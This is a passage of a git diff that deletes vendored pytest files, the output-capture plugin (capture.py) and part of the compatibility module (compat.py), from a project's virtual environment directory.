import NamedTuple -from typing import TextIO -from typing import TYPE_CHECKING - - -if TYPE_CHECKING: - from typing_extensions import Self - -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import SubRequest -from _pytest.nodes import Collector -from _pytest.nodes import File -from _pytest.nodes import Item -from _pytest.reports import CollectReport - - -_CaptureMethod = Literal["fd", "sys", "no", "tee-sys"] - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("general") - group._addoption( - "--capture", - action="store", - default="fd", - metavar="method", - choices=["fd", "sys", "no", "tee-sys"], - help="Per-test capturing method: one of fd|sys|no|tee-sys", - ) - group._addoption( - "-s", - action="store_const", - const="no", - dest="capture", - help="Shortcut for --capture=no", - ) - - -def _colorama_workaround() -> None: - """Ensure colorama is imported so that it attaches to the correct stdio - handles on Windows. - - colorama uses the terminal on import time. So if something does the - first import of colorama while I/O capture is active, colorama will - fail in various ways. - """ - if sys.platform.startswith("win32"): - try: - import colorama # noqa: F401 - except ImportError: - pass - - -def _windowsconsoleio_workaround(stream: TextIO) -> None: - """Workaround for Windows Unicode console handling. - - Python 3.6 implemented Unicode console handling for Windows. This works - by reading/writing to the raw console handle using - ``{Read,Write}ConsoleW``. - - The problem is that we are going to ``dup2`` over the stdio file - descriptors when doing ``FDCapture`` and this will ``CloseHandle`` the - handles used by Python to write to the console. Though there is still some - weirdness and the console handle seems to only be closed randomly and not - on the first call to ``CloseHandle``, or maybe it gets reopened with the - same handle value when we suspend capturing. - - The workaround in this case will reopen stdio with a different fd which - also means a different handle by replicating the logic in - "Py_lifecycle.c:initstdio/create_stdio". - - :param stream: - In practice ``sys.stdout`` or ``sys.stderr``, but given - here as parameter for unittesting purposes. - - See https://github.com/pytest-dev/py/issues/103. - """ - if not sys.platform.startswith("win32") or hasattr(sys, "pypy_version_info"): - return - - # Bail out if ``stream`` doesn't seem like a proper ``io`` stream (#2666). - if not hasattr(stream, "buffer"): # type: ignore[unreachable,unused-ignore] - return - - raw_stdout = stream.buffer.raw if hasattr(stream.buffer, "raw") else stream.buffer - - if not isinstance(raw_stdout, io._WindowsConsoleIO): # type: ignore[attr-defined,unused-ignore] - return - - def _reopen_stdio(f, mode): - if not hasattr(stream.buffer, "raw") and mode[0] == "w": - buffering = 0 - else: - buffering = -1 - - return io.TextIOWrapper( - open(os.dup(f.fileno()), mode, buffering), - f.encoding, - f.errors, - f.newlines, - f.line_buffering, - ) - - sys.stdin = _reopen_stdio(sys.stdin, "rb") - sys.stdout = _reopen_stdio(sys.stdout, "wb") - sys.stderr = _reopen_stdio(sys.stderr, "wb") - - -@hookimpl(wrapper=True) -def pytest_load_initial_conftests(early_config: Config) -> Generator[None, None, None]: - ns = early_config.known_args_namespace - if ns.capture == "fd": - _windowsconsoleio_workaround(sys.stdout) - _colorama_workaround() - pluginmanager = early_config.pluginmanager - capman = CaptureManager(ns.capture) - pluginmanager.register(capman, "capturemanager") - - # Make sure that capturemanager is properly reset at final shutdown. - early_config.add_cleanup(capman.stop_global_capturing) - - # Finally trigger conftest loading but while capturing (issue #93). - capman.start_global_capturing() - try: - try: - yield - finally: - capman.suspend_global_capture() - except BaseException: - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stderr.write(err) - raise - - -# IO Helpers. - - -class EncodedFile(io.TextIOWrapper): - __slots__ = () - - @property - def name(self) -> str: - # Ensure that file.name is a string. Workaround for a Python bug - # fixed in >=3.7.4: https://bugs.python.org/issue36015 - return repr(self.buffer) - - @property - def mode(self) -> str: - # TextIOWrapper doesn't expose a mode, but at least some of our - # tests check it. - return self.buffer.mode.replace("b", "") - - -class CaptureIO(io.TextIOWrapper): - def __init__(self) -> None: - super().__init__(io.BytesIO(), encoding="UTF-8", newline="", write_through=True) - - def getvalue(self) -> str: - assert isinstance(self.buffer, io.BytesIO) - return self.buffer.getvalue().decode("UTF-8") - - -class TeeCaptureIO(CaptureIO): - def __init__(self, other: TextIO) -> None: - self._other = other - super().__init__() - - def write(self, s: str) -> int: - super().write(s) - return self._other.write(s) - - -class DontReadFromInput(TextIO): - @property - def encoding(self) -> str: - return sys.__stdin__.encoding - - def read(self, size: int = -1) -> str: - raise OSError( - "pytest: reading from stdin while output is captured! Consider using `-s`." - ) - - readline = read - - def __next__(self) -> str: - return self.readline() - - def readlines(self, hint: int | None = -1) -> list[str]: - raise OSError( - "pytest: reading from stdin while output is captured! Consider using `-s`." - ) - - def __iter__(self) -> Iterator[str]: - return self - - def fileno(self) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no fileno()") - - def flush(self) -> None: - raise UnsupportedOperation("redirected stdin is pseudofile, has no flush()") - - def isatty(self) -> bool: - return False - - def close(self) -> None: - pass - - def readable(self) -> bool: - return False - - def seek(self, offset: int, whence: int = 0) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no seek(int)") - - def seekable(self) -> bool: - return False - - def tell(self) -> int: - raise UnsupportedOperation("redirected stdin is pseudofile, has no tell()") - - def truncate(self, size: int | None = None) -> int: - raise UnsupportedOperation("cannot truncate stdin") - - def write(self, data: str) -> int: - raise UnsupportedOperation("cannot write to stdin") - - def writelines(self, lines: Iterable[str]) -> None: - raise UnsupportedOperation("Cannot write to stdin") - - def writable(self) -> bool: - return False - - def __enter__(self) -> Self: - return self - - def __exit__( - self, - type: type[BaseException] | None, - value: BaseException | None, - traceback: TracebackType | None, - ) -> None: - pass - - @property - def buffer(self) -> BinaryIO: - # The str/bytes doesn't actually matter in this type, so OK to fake. - return self # type: ignore[return-value] - - -# Capture classes. - - -class CaptureBase(abc.ABC, Generic[AnyStr]): - EMPTY_BUFFER: AnyStr - - @abc.abstractmethod - def __init__(self, fd: int) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def start(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def done(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def suspend(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def resume(self) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def writeorg(self, data: AnyStr) -> None: - raise NotImplementedError() - - @abc.abstractmethod - def snap(self) -> AnyStr: - raise NotImplementedError() - - -patchsysdict = {0: "stdin", 1: "stdout", 2: "stderr"} - - -class NoCapture(CaptureBase[str]): - EMPTY_BUFFER = "" - - def __init__(self, fd: int) -> None: - pass - - def start(self) -> None: - pass - - def done(self) -> None: - pass - - def suspend(self) -> None: - pass - - def resume(self) -> None: - pass - - def snap(self) -> str: - return "" - - def writeorg(self, data: str) -> None: - pass - - -class SysCaptureBase(CaptureBase[AnyStr]): - def __init__( - self, fd: int, tmpfile: TextIO | None = None, *, tee: bool = False - ) -> None: - name = patchsysdict[fd] - self._old: TextIO = getattr(sys, name) - self.name = name - if tmpfile is None: - if name == "stdin": - tmpfile = DontReadFromInput() - else: - tmpfile = CaptureIO() if not tee else TeeCaptureIO(self._old) - self.tmpfile = tmpfile - self._state = "initialized" - - def repr(self, class_name: str) -> str: - return "<{} {} _old={} _state={!r} tmpfile={!r}>".format( - class_name, - self.name, - hasattr(self, "_old") and repr(self._old) or "", - self._state, - self.tmpfile, - ) - - def __repr__(self) -> str: - return "<{} {} _old={} _state={!r} tmpfile={!r}>".format( - self.__class__.__name__, - self.name, - hasattr(self, "_old") and repr(self._old) or "", - self._state, - self.tmpfile, - ) - - def _assert_state(self, op: str, states: tuple[str, ...]) -> None: - assert ( - self._state in states - ), "cannot {} in state {!r}: expected one of {}".format( - op, self._state, ", ".join(states) - ) - - def start(self) -> None: - self._assert_state("start", ("initialized",)) - setattr(sys, self.name, self.tmpfile) - self._state = "started" - - def done(self) -> None: - self._assert_state("done", ("initialized", "started", "suspended", "done")) - if self._state == "done": - return - setattr(sys, self.name, self._old) - del self._old - self.tmpfile.close() - self._state = "done" - - def suspend(self) -> None: - self._assert_state("suspend", ("started", "suspended")) - setattr(sys, self.name, self._old) - self._state = "suspended" - - def resume(self) -> None: - self._assert_state("resume", ("started", "suspended")) - if self._state == "started": - return - setattr(sys, self.name, self.tmpfile) - self._state = "started" - - -class SysCaptureBinary(SysCaptureBase[bytes]): - EMPTY_BUFFER = b"" - - def snap(self) -> bytes: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.buffer.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: bytes) -> None: - self._assert_state("writeorg", ("started", "suspended")) - self._old.flush() - self._old.buffer.write(data) - self._old.buffer.flush() - - -class SysCapture(SysCaptureBase[str]): - EMPTY_BUFFER = "" - - def snap(self) -> str: - self._assert_state("snap", ("started", "suspended")) - assert isinstance(self.tmpfile, CaptureIO) - res = self.tmpfile.getvalue() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: str) -> None: - self._assert_state("writeorg", ("started", "suspended")) - self._old.write(data) - self._old.flush() - - -class FDCaptureBase(CaptureBase[AnyStr]): - def __init__(self, targetfd: int) -> None: - self.targetfd = targetfd - - try: - os.fstat(targetfd) - except OSError: - # FD capturing is conceptually simple -- create a temporary file, - # redirect the FD to it, redirect back when done. But when the - # target FD is invalid it throws a wrench into this lovely scheme. - # - # Tests themselves shouldn't care if the FD is valid, FD capturing - # should work regardless of external circumstances. So falling back - # to just sys capturing is not a good option. - # - # Further complications are the need to support suspend() and the - # possibility of FD reuse (e.g. the tmpfile getting the very same - # target FD). The following approach is robust, I believe. - self.targetfd_invalid: int | None = os.open(os.devnull, os.O_RDWR) - os.dup2(self.targetfd_invalid, targetfd) - else: - self.targetfd_invalid = None - self.targetfd_save = os.dup(targetfd) - - if targetfd == 0: - self.tmpfile = open(os.devnull, encoding="utf-8") - self.syscapture: CaptureBase[str] = SysCapture(targetfd) - else: - self.tmpfile = EncodedFile( - TemporaryFile(buffering=0), - encoding="utf-8", - errors="replace", - newline="", - write_through=True, - ) - if targetfd in patchsysdict: - self.syscapture = SysCapture(targetfd, self.tmpfile) - else: - self.syscapture = NoCapture(targetfd) - - self._state = "initialized" - - def __repr__(self) -> str: - return ( - f"<{self.__class__.__name__} {self.targetfd} oldfd={self.targetfd_save} " - f"_state={self._state!r} tmpfile={self.tmpfile!r}>" - ) - - def _assert_state(self, op: str, states: tuple[str, ...]) -> None: - assert ( - self._state in states - ), "cannot {} in state {!r}: expected one of {}".format( - op, self._state, ", ".join(states) - ) - - def start(self) -> None: - """Start capturing on targetfd using memorized tmpfile.""" - self._assert_state("start", ("initialized",)) - os.dup2(self.tmpfile.fileno(), self.targetfd) - self.syscapture.start() - self._state = "started" - - def done(self) -> None: - """Stop capturing, restore streams, return original capture file, - seeked to position zero.""" - self._assert_state("done", ("initialized", "started", "suspended", "done")) - if self._state == "done": - return - os.dup2(self.targetfd_save, self.targetfd) - os.close(self.targetfd_save) - if self.targetfd_invalid is not None: - if self.targetfd_invalid != self.targetfd: - os.close(self.targetfd) - os.close(self.targetfd_invalid) - self.syscapture.done() - self.tmpfile.close() - self._state = "done" - - def suspend(self) -> None: - self._assert_state("suspend", ("started", "suspended")) - if self._state == "suspended": - return - self.syscapture.suspend() - os.dup2(self.targetfd_save, self.targetfd) - self._state = "suspended" - - def resume(self) -> None: - self._assert_state("resume", ("started", "suspended")) - if self._state == "started": - return - self.syscapture.resume() - os.dup2(self.tmpfile.fileno(), self.targetfd) - self._state = "started" - - -class FDCaptureBinary(FDCaptureBase[bytes]): - """Capture IO to/from a given OS-level file descriptor. - - snap() produces `bytes`. - """ - - EMPTY_BUFFER = b"" - - def snap(self) -> bytes: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.buffer.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: bytes) -> None: - """Write to original file descriptor.""" - self._assert_state("writeorg", ("started", "suspended")) - os.write(self.targetfd_save, data) - - -class FDCapture(FDCaptureBase[str]): - """Capture IO to/from a given OS-level file descriptor. - - snap() produces text. - """ - - EMPTY_BUFFER = "" - - def snap(self) -> str: - self._assert_state("snap", ("started", "suspended")) - self.tmpfile.seek(0) - res = self.tmpfile.read() - self.tmpfile.seek(0) - self.tmpfile.truncate() - return res - - def writeorg(self, data: str) -> None: - """Write to original file descriptor.""" - self._assert_state("writeorg", ("started", "suspended")) - # XXX use encoding of original stream - os.write(self.targetfd_save, data.encode("utf-8")) - - -# MultiCapture - - -# Generic NamedTuple only supported since Python 3.11. -if sys.version_info >= (3, 11) or TYPE_CHECKING: - - @final - class CaptureResult(NamedTuple, Generic[AnyStr]): - """The result of :method:`caplog.readouterr() `.""" - - out: AnyStr - err: AnyStr - -else: - - class CaptureResult( - collections.namedtuple("CaptureResult", ["out", "err"]), # noqa: PYI024 - Generic[AnyStr], - ): - """The result of :method:`caplog.readouterr() `.""" - - __slots__ = () - - -class MultiCapture(Generic[AnyStr]): - _state = None - _in_suspended = False - - def __init__( - self, - in_: CaptureBase[AnyStr] | None, - out: CaptureBase[AnyStr] | None, - err: CaptureBase[AnyStr] | None, - ) -> None: - self.in_: CaptureBase[AnyStr] | None = in_ - self.out: CaptureBase[AnyStr] | None = out - self.err: CaptureBase[AnyStr] | None = err - - def __repr__(self) -> str: - return ( - f"" - ) - - def start_capturing(self) -> None: - self._state = "started" - if self.in_: - self.in_.start() - if self.out: - self.out.start() - if self.err: - self.err.start() - - def pop_outerr_to_orig(self) -> tuple[AnyStr, AnyStr]: - """Pop current snapshot out/err capture and flush to orig streams.""" - out, err = self.readouterr() - if out: - assert self.out is not None - self.out.writeorg(out) - if err: - assert self.err is not None - self.err.writeorg(err) - return out, err - - def suspend_capturing(self, in_: bool = False) -> None: - self._state = "suspended" - if self.out: - self.out.suspend() - if self.err: - self.err.suspend() - if in_ and self.in_: - self.in_.suspend() - self._in_suspended = True - - def resume_capturing(self) -> None: - self._state = "started" - if self.out: - self.out.resume() - if self.err: - self.err.resume() - if self._in_suspended: - assert self.in_ is not None - self.in_.resume() - self._in_suspended = False - - def stop_capturing(self) -> None: - """Stop capturing and reset capturing streams.""" - if self._state == "stopped": - raise ValueError("was already stopped") - self._state = "stopped" - if self.out: - self.out.done() - if self.err: - self.err.done() - if self.in_: - self.in_.done() - - def is_started(self) -> bool: - """Whether actively capturing -- not suspended or stopped.""" - return self._state == "started" - - def readouterr(self) -> CaptureResult[AnyStr]: - out = self.out.snap() if self.out else "" - err = self.err.snap() if self.err else "" - # TODO: This type error is real, need to fix. - return CaptureResult(out, err) # type: ignore[arg-type] - - -def _get_multicapture(method: _CaptureMethod) -> MultiCapture[str]: - if method == "fd": - return MultiCapture(in_=FDCapture(0), out=FDCapture(1), err=FDCapture(2)) - elif method == "sys": - return MultiCapture(in_=SysCapture(0), out=SysCapture(1), err=SysCapture(2)) - elif method == "no": - return MultiCapture(in_=None, out=None, err=None) - elif method == "tee-sys": - return MultiCapture( - in_=None, out=SysCapture(1, tee=True), err=SysCapture(2, tee=True) - ) - raise ValueError(f"unknown capturing method: {method!r}") - - -# CaptureManager and CaptureFixture - - -class CaptureManager: - """The capture plugin. - - Manages that the appropriate capture method is enabled/disabled during - collection and each test phase (setup, call, teardown). After each of - those points, the captured output is obtained and attached to the - collection/runtest report. - - There are two levels of capture: - - * global: enabled by default and can be suppressed by the ``-s`` - option. This is always enabled/disabled during collection and each test - phase. - - * fixture: when a test function or one of its fixture depend on the - ``capsys`` or ``capfd`` fixtures. In this case special handling is - needed to ensure the fixtures take precedence over the global capture. - """ - - def __init__(self, method: _CaptureMethod) -> None: - self._method: Final = method - self._global_capturing: MultiCapture[str] | None = None - self._capture_fixture: CaptureFixture[Any] | None = None - - def __repr__(self) -> str: - return ( - f"" - ) - - def is_capturing(self) -> str | bool: - if self.is_globally_capturing(): - return "global" - if self._capture_fixture: - return f"fixture {self._capture_fixture.request.fixturename}" - return False - - # Global capturing control - - def is_globally_capturing(self) -> bool: - return self._method != "no" - - def start_global_capturing(self) -> None: - assert self._global_capturing is None - self._global_capturing = _get_multicapture(self._method) - self._global_capturing.start_capturing() - - def stop_global_capturing(self) -> None: - if self._global_capturing is not None: - self._global_capturing.pop_outerr_to_orig() - self._global_capturing.stop_capturing() - self._global_capturing = None - - def resume_global_capture(self) -> None: - # During teardown of the python process, and on rare occasions, capture - # attributes can be `None` while trying to resume global capture. - if self._global_capturing is not None: - self._global_capturing.resume_capturing() - - def suspend_global_capture(self, in_: bool = False) -> None: - if self._global_capturing is not None: - self._global_capturing.suspend_capturing(in_=in_) - - def suspend(self, in_: bool = False) -> None: - # Need to undo local capsys-et-al if it exists before disabling global capture. - self.suspend_fixture() - self.suspend_global_capture(in_) - - def resume(self) -> None: - self.resume_global_capture() - self.resume_fixture() - - def read_global_capture(self) -> CaptureResult[str]: - assert self._global_capturing is not None - return self._global_capturing.readouterr() - - # Fixture Control - - def set_fixture(self, capture_fixture: CaptureFixture[Any]) -> None: - if self._capture_fixture: - current_fixture = self._capture_fixture.request.fixturename - requested_fixture = capture_fixture.request.fixturename - capture_fixture.request.raiseerror( - f"cannot use {requested_fixture} and {current_fixture} at the same time" - ) - self._capture_fixture = capture_fixture - - def unset_fixture(self) -> None: - self._capture_fixture = None - - def activate_fixture(self) -> None: - """If the current item is using ``capsys`` or ``capfd``, activate - them so they take precedence over the global capture.""" - if self._capture_fixture: - self._capture_fixture._start() - - def deactivate_fixture(self) -> None: - """Deactivate the ``capsys`` or ``capfd`` fixture of this item, if any.""" - if self._capture_fixture: - self._capture_fixture.close() - - def suspend_fixture(self) -> None: - if self._capture_fixture: - self._capture_fixture._suspend() - - def resume_fixture(self) -> None: - if self._capture_fixture: - self._capture_fixture._resume() - - # Helper context managers - - @contextlib.contextmanager - def global_and_fixture_disabled(self) -> Generator[None, None, None]: - """Context manager to temporarily disable global and current fixture capturing.""" - do_fixture = self._capture_fixture and self._capture_fixture._is_started() - if do_fixture: - self.suspend_fixture() - do_global = self._global_capturing and self._global_capturing.is_started() - if do_global: - self.suspend_global_capture() - try: - yield - finally: - if do_global: - self.resume_global_capture() - if do_fixture: - self.resume_fixture() - - @contextlib.contextmanager - def item_capture(self, when: str, item: Item) -> Generator[None, None, None]: - self.resume_global_capture() - self.activate_fixture() - try: - yield - finally: - self.deactivate_fixture() - self.suspend_global_capture(in_=False) - - out, err = self.read_global_capture() - item.add_report_section(when, "stdout", out) - item.add_report_section(when, "stderr", err) - - # Hooks - - @hookimpl(wrapper=True) - def pytest_make_collect_report( - self, collector: Collector - ) -> Generator[None, CollectReport, CollectReport]: - if isinstance(collector, File): - self.resume_global_capture() - try: - rep = yield - finally: - self.suspend_global_capture() - out, err = self.read_global_capture() - if out: - rep.sections.append(("Captured stdout", out)) - if err: - rep.sections.append(("Captured stderr", err)) - else: - rep = yield - return rep - - @hookimpl(wrapper=True) - def pytest_runtest_setup(self, item: Item) -> Generator[None, None, None]: - with self.item_capture("setup", item): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtest_call(self, item: Item) -> Generator[None, None, None]: - with self.item_capture("call", item): - return (yield) - - @hookimpl(wrapper=True) - def pytest_runtest_teardown(self, item: Item) -> Generator[None, None, None]: - with self.item_capture("teardown", item): - return (yield) - - @hookimpl(tryfirst=True) - def pytest_keyboard_interrupt(self) -> None: - self.stop_global_capturing() - - @hookimpl(tryfirst=True) - def pytest_internalerror(self) -> None: - self.stop_global_capturing() - - -class CaptureFixture(Generic[AnyStr]): - """Object returned by the :fixture:`capsys`, :fixture:`capsysbinary`, - :fixture:`capfd` and :fixture:`capfdbinary` fixtures.""" - - def __init__( - self, - captureclass: type[CaptureBase[AnyStr]], - request: SubRequest, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self.captureclass: type[CaptureBase[AnyStr]] = captureclass - self.request = request - self._capture: MultiCapture[AnyStr] | None = None - self._captured_out: AnyStr = self.captureclass.EMPTY_BUFFER - self._captured_err: AnyStr = self.captureclass.EMPTY_BUFFER - - def _start(self) -> None: - if self._capture is None: - self._capture = MultiCapture( - in_=None, - out=self.captureclass(1), - err=self.captureclass(2), - ) - self._capture.start_capturing() - - def close(self) -> None: - if self._capture is not None: - out, err = self._capture.pop_outerr_to_orig() - self._captured_out += out - self._captured_err += err - self._capture.stop_capturing() - self._capture = None - - def readouterr(self) -> CaptureResult[AnyStr]: - """Read and return the captured output so far, resetting the internal - buffer. - - :returns: - The captured content as a namedtuple with ``out`` and ``err`` - string attributes. - """ - captured_out, captured_err = self._captured_out, self._captured_err - if self._capture is not None: - out, err = self._capture.readouterr() - captured_out += out - captured_err += err - self._captured_out = self.captureclass.EMPTY_BUFFER - self._captured_err = self.captureclass.EMPTY_BUFFER - return CaptureResult(captured_out, captured_err) - - def _suspend(self) -> None: - """Suspend this fixture's own capturing temporarily.""" - if self._capture is not None: - self._capture.suspend_capturing() - - def _resume(self) -> None: - """Resume this fixture's own capturing temporarily.""" - if self._capture is not None: - self._capture.resume_capturing() - - def _is_started(self) -> bool: - """Whether actively capturing -- not disabled or closed.""" - if self._capture is not None: - return self._capture.is_started() - return False - - @contextlib.contextmanager - def disabled(self) -> Generator[None, None, None]: - """Temporarily disable capturing while inside the ``with`` block.""" - capmanager: CaptureManager = self.request.config.pluginmanager.getplugin( - "capturemanager" - ) - with capmanager.global_and_fixture_disabled(): - yield - - -# The fixtures. - - -@fixture -def capsys(request: SubRequest) -> Generator[CaptureFixture[str], None, None]: - r"""Enable text capturing of writes to ``sys.stdout`` and ``sys.stderr``. - - The captured output is made available via ``capsys.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``text`` objects. - - Returns an instance of :class:`CaptureFixture[str] `. - - Example: - - .. code-block:: python - - def test_output(capsys): - print("hello") - captured = capsys.readouterr() - assert captured.out == "hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(SysCapture, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capsysbinary(request: SubRequest) -> Generator[CaptureFixture[bytes], None, None]: - r"""Enable bytes capturing of writes to ``sys.stdout`` and ``sys.stderr``. - - The captured output is made available via ``capsysbinary.readouterr()`` - method calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``bytes`` objects. - - Returns an instance of :class:`CaptureFixture[bytes] `. - - Example: - - .. code-block:: python - - def test_output(capsysbinary): - print("hello") - captured = capsysbinary.readouterr() - assert captured.out == b"hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(SysCaptureBinary, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capfd(request: SubRequest) -> Generator[CaptureFixture[str], None, None]: - r"""Enable text capturing of writes to file descriptors ``1`` and ``2``. - - The captured output is made available via ``capfd.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``text`` objects. - - Returns an instance of :class:`CaptureFixture[str] `. - - Example: - - .. code-block:: python - - def test_system_echo(capfd): - os.system('echo "hello"') - captured = capfd.readouterr() - assert captured.out == "hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(FDCapture, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capfdbinary(request: SubRequest) -> Generator[CaptureFixture[bytes], None, None]: - r"""Enable bytes capturing of writes to file descriptors ``1`` and ``2``. - - The captured output is made available via ``capfd.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``byte`` objects. - - Returns an instance of :class:`CaptureFixture[bytes] `. - - Example: - - .. code-block:: python - - def test_system_echo(capfdbinary): - os.system('echo "hello"') - captured = capfdbinary.readouterr() - assert captured.out == b"hello\n" - - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(FDCaptureBinary, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() diff --git a/backend/venv/Lib/site-packages/_pytest/compat.py b/backend/venv/Lib/site-packages/_pytest/compat.py deleted file mode 100644 index 614848e0..00000000 --- a/backend/venv/Lib/site-packages/_pytest/compat.py +++ /dev/null @@ -1,351 +0,0 @@ -# mypy: allow-untyped-defs -"""Python version compatibility code.""" - -from __future__ import annotations - -import dataclasses -import enum -import functools -import inspect -from inspect import Parameter -from inspect import signature -import os -from pathlib import Path -import sys -from typing import Any -from typing import Callable -from typing import Final -from typing import NoReturn - -import py - - -#: constant to prepare valuing pylib path replacements/lazy proxies later on -# intended for removal in pytest 8.0 or 9.0 - -# fmt: off -# intentional space to create a fake difference for the verification -LEGACY_PATH = py.path. local -# fmt: on - - -def legacy_path(path: str | os.PathLike[str]) -> LEGACY_PATH: - """Internal wrapper to prepare lazy proxies for legacy_path instances""" - return LEGACY_PATH(path) - - -# fmt: off -# Singleton type for NOTSET, as described in: -# https://www.python.org/dev/peps/pep-0484/#support-for-singleton-types-in-unions -class NotSetType(enum.Enum): - token = 0 -NOTSET: Final = NotSetType.token -# fmt: on - - -def is_generator(func: object) -> bool: - genfunc = inspect.isgeneratorfunction(func) - return genfunc and not iscoroutinefunction(func) - - -def iscoroutinefunction(func: object) -> bool: - """Return True if func is a coroutine function (a function defined with async - def syntax, and doesn't contain yield), or a function decorated with - @asyncio.coroutine. - - Note: copied and modified from Python 3.5's builtin coroutines.py to avoid - importing asyncio directly, which in turns also initializes the "logging" - module as a side-effect (see issue #8). - """ - return inspect.iscoroutinefunction(func) or getattr(func, "_is_coroutine", False) - - -def is_async_function(func: object) -> bool: - """Return True if the given function seems to be an async function or - an async generator.""" - return iscoroutinefunction(func) or inspect.isasyncgenfunction(func) - - -def getlocation(function, curdir: str | os.PathLike[str] | None = None) -> str: - function = get_real_func(function) - fn = Path(inspect.getfile(function)) - lineno = function.__code__.co_firstlineno - if curdir is not None: - try: - relfn = fn.relative_to(curdir) - except ValueError: - pass - else: - return "%s:%d" % (relfn, lineno + 1) - return "%s:%d" % (fn, lineno + 1) - - -def num_mock_patch_args(function) -> int: - """Return number of arguments used up by mock arguments (if any).""" - patchings = getattr(function, "patchings", None) - if not patchings: - return 0 - - mock_sentinel = getattr(sys.modules.get("mock"), "DEFAULT", object()) - ut_mock_sentinel = getattr(sys.modules.get("unittest.mock"), "DEFAULT", object()) - - return len( - [ - p - for p in patchings - if not p.attribute_name - and (p.new is mock_sentinel or p.new is ut_mock_sentinel) - ] - ) - - -def getfuncargnames( - function: Callable[..., object], - *, - name: str = "", - cls: type | None = None, -) -> tuple[str, ...]: - """Return the names of a function's mandatory arguments. - - Should return the names of all function arguments that: - * Aren't bound to an instance or type as in instance or class methods. - * Don't have default values. - * Aren't bound with functools.partial. - * Aren't replaced with mocks. - - The cls arguments indicate that the function should be treated as a bound - method even though it's not unless the function is a static method. - - The name parameter should be the original name in which the function was collected. - """ - # TODO(RonnyPfannschmidt): This function should be refactored when we - # revisit fixtures. The fixture mechanism should ask the node for - # the fixture names, and not try to obtain directly from the - # function object well after collection has occurred. - - # The parameters attribute of a Signature object contains an - # ordered mapping of parameter names to Parameter instances. This - # creates a tuple of the names of the parameters that don't have - # defaults. - try: - parameters = signature(function).parameters - except (ValueError, TypeError) as e: - from _pytest.outcomes import fail - - fail( - f"Could not determine arguments of {function!r}: {e}", - pytrace=False, - ) - - arg_names = tuple( - p.name - for p in parameters.values() - if ( - p.kind is Parameter.POSITIONAL_OR_KEYWORD - or p.kind is Parameter.KEYWORD_ONLY - ) - and p.default is Parameter.empty - ) - if not name: - name = function.__name__ - - # If this function should be treated as a bound method even though - # it's passed as an unbound method or function, remove the first - # parameter name. - if ( - # Not using `getattr` because we don't want to resolve the staticmethod. - # Not using `cls.__dict__` because we want to check the entire MRO. - cls - and not isinstance( - inspect.getattr_static(cls, name, default=None), staticmethod - ) - ): - arg_names = arg_names[1:] - # Remove any names that will be replaced with mocks. - if hasattr(function, "__wrapped__"): - arg_names = arg_names[num_mock_patch_args(function) :] - return arg_names - - -def get_default_arg_names(function: Callable[..., Any]) -> tuple[str, ...]: - # Note: this code intentionally mirrors the code at the beginning of - # getfuncargnames, to get the arguments which were excluded from its result - # because they had default values. - return tuple( - p.name - for p in signature(function).parameters.values() - if p.kind in (Parameter.POSITIONAL_OR_KEYWORD, Parameter.KEYWORD_ONLY) - and p.default is not Parameter.empty - ) - - -_non_printable_ascii_translate_table = { - i: f"\\x{i:02x}" for i in range(128) if i not in range(32, 127) -} -_non_printable_ascii_translate_table.update( - {ord("\t"): "\\t", ord("\r"): "\\r", ord("\n"): "\\n"} -) - - -def ascii_escaped(val: bytes | str) -> str: - r"""If val is pure ASCII, return it as an str, otherwise, escape - bytes objects into a sequence of escaped bytes: - - b'\xc3\xb4\xc5\xd6' -> r'\xc3\xb4\xc5\xd6' - - and escapes strings into a sequence of escaped unicode ids, e.g.: - - r'4\nV\U00043efa\x0eMXWB\x1e\u3028\u15fd\xcd\U0007d944' - - Note: - The obvious "v.decode('unicode-escape')" will return - valid UTF-8 unicode if it finds them in bytes, but we - want to return escaped bytes for any byte, even if they match - a UTF-8 string. - """ - if isinstance(val, bytes): - ret = val.decode("ascii", "backslashreplace") - else: - ret = val.encode("unicode_escape").decode("ascii") - return ret.translate(_non_printable_ascii_translate_table) - - -@dataclasses.dataclass -class _PytestWrapper: - """Dummy wrapper around a function object for internal use only. - - Used to correctly unwrap the underlying function object when we are - creating fixtures, because we wrap the 